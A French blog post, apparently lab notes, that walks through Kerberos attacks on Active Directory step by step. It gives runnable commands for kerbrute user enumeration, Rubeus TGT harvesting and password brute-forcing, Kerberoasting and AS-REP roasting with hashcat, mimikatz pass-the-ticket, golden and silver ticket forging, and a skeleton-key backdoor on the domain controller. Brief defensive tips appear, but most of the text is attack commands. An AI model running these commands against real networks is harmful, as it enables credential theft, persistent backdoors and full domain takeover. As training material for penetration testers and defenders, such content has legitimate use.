Attaques Kerberos

Privilège requis par les attaques

Kerbrute Enumeration – Pas d’accès au domaine requis
Pass the Ticket – Accès au domaine comme un usager
Kerberoasting – Accès comme n’importe lequel usager
AS-REP Roasting – Accès comme n’importe lequel usager
Golden Ticket – Domaine compromis complètement (domain admin) requis
Silver Ticket – Service hash requis
Skeleton Key – Domaine compromis complètement (domain admin) requis

Trouver des usagers avec kerbrute

https://github.com/ropnop/kerbrute/releases
chmod +x kerbrute
https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

Récolter des TGT échangés avec le KDC avec rubeus (tous les 30 secondes)
Rubeus.exe harvest /interval:30

Sur le controleur de domaines


echo 10.10.110.139 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
Rubeus.exe brute /password:Password1 /noticket #essaie tous les utilisateurs avec mot de passe et retourne un tgt (.kirbi). Cela peut bloquer certains comptes dépendemment des politiques
Rubeus.exe harvest /interval:30 #lit le cache des tickets TGT tous les 30 secondes

Kerberoasting

Permet d’obtenir les hash des usagers “kerberoastable”

Rubeus.exe kerberoast
sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.10.10 -request #alternative avec impacket sur une autre machine (Linux)
hashcat -m 13100 -a 0 hash.txt dict.txt

Que faire avec les service account ? Si c’est un admin de domaine, vous pouvez obtenir les hashes du NTDS.dit (contrôle similaire è un silver/golden ticket). Si c’est un compte moins privilégié, on peut essayer de se connecter à d’autres ordinateurs et obtenir d’autres accès (pivot) ou on peut utiliser ce mot de passe pour tenter de se connecter sur d’autres comptes (password spraying). Pour protéger son enteprise, il faut utiliser des mots de passe robustes, ne pas les réutiliser et ne pas donner le privilège “domain admin” au service accounts.

AS-REP Roasting

Similaire au Kerberoasting, AS-REP Roasting permet d’obtenir les hashes des comptes usagers qui ont la pré-authentification désactivé. Contrairement au kerberoasting, ces usagers ne doivent pas être obligatoirement des “service” accounts.

Rubeus.exe asreproast
#dans le hash, insérer 23$ après $krb5asrep$ (type Kerberos 5 AS-REP etype 23)
hashcat -m 18200 hash.txt Pass.txt

Pour se protéger, il faut utiliser de bons mots de passe et ne pas désactiver la pré-authentification Kerberos.

Pass the hash avec mimikatz

mimikatz.exe
privilege::debug
sekurlsa::tickets /export on peut aussi utiliser un ticket encodé en base64 obtenu de rubeus
kerberos::ptt thetickethere.kirbi #de préférence krbtgt
klist #pour voir si correctement impersonnifié. Liste le nombre de tickets en cache

Une bonne mesure de précaution ici est de ne pas se connecter è n’importe lequel poste avec le compte admin du domaine.

Attaques Golden/Silver ticket avec mimikatz

Mimikatz est un outil très populaire pour poursuivre l’exploitation. Il permet d’avoir une liste des usagers/hash d’un active directory. Nous utiliserons mimikatz ici pour se créer un silver ticket.

Un silver ticket peut parfois être supérieur à un golden ticket parce qu’il est plus discret. L’approche pour se créer un silver ticket est la même que pour un golden ticket. Par contre, un silver ticket est limité au service à lequel il est destiné tandis qu’un golden ticket peut accéder à tous les services Kerberos.

Par exemple, vous voulez avoir accès à un SGBD, mais l’utilisateur compromis n’a pas accès à ce serveur. Vous pouvez alors trouver un service account qui y a accès et récupérer le service hash et impersonnifier leur TGT pour faire une requête sur le KDC pour un service ticket pour le sereur SQL du domaine .

mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt #Pour créer un silver ticket, il faut changer le destinataire du /name: pour un admin du domaine ou un service account (ie : SQLServer)
Kerberos::golden /user:Administrator /domain:controller.local /sid:sid_du_domaine_ici /krbtgt:ntlm_hash_ici /id:500 #golden ticket. voir lsadump::lsa pour le sid du domaine. voir le hash ntlm de krbtgt dans lsa::dump  
Kerberos::golden /user:Administrator /domain:controller.local /sid:sid_du_service_account_ici /krbtgt:service_ntlm_hash_ici /id:1103 #silver ticket
misc::cmd #nouveau prompt avec le ticket

Backdoor mimikatz dans la forest du domaine

Cela permet de se connecter aux machines avec un “master password”.

mimikatz.exe
privilege::debug
misc::skeleton # quand la clé est implanté dans le controleur de domaine, il essaie de décrypter le "AS-REQ encrypted timestamps" en utilisant le HASH NT et le hash de la nouvelle clé (les 2), vous permettant ainsi l'accès è la forest du domaine. Backdoor non permettante, car seulement en mémoire. vous devez par exemple, faire un script lors du démarrage du poste (ou autre).
net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
dir \\Desktop-1\c$ /user:Machine1 mimikatz

https://medium.com/@t0pazg3m/pass-the-ticket-ptt-attack-in-mimikatz-and-a-gotcha-96a5805e257a
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
https://www.varonis.com/blog/kerberos-authentication-explained/
https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don’t-Get-It-wp.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdf
https://www.redsiege.com/wp-content/uploads/2020/04/20200430-kerb101.pdf

Leave a Reply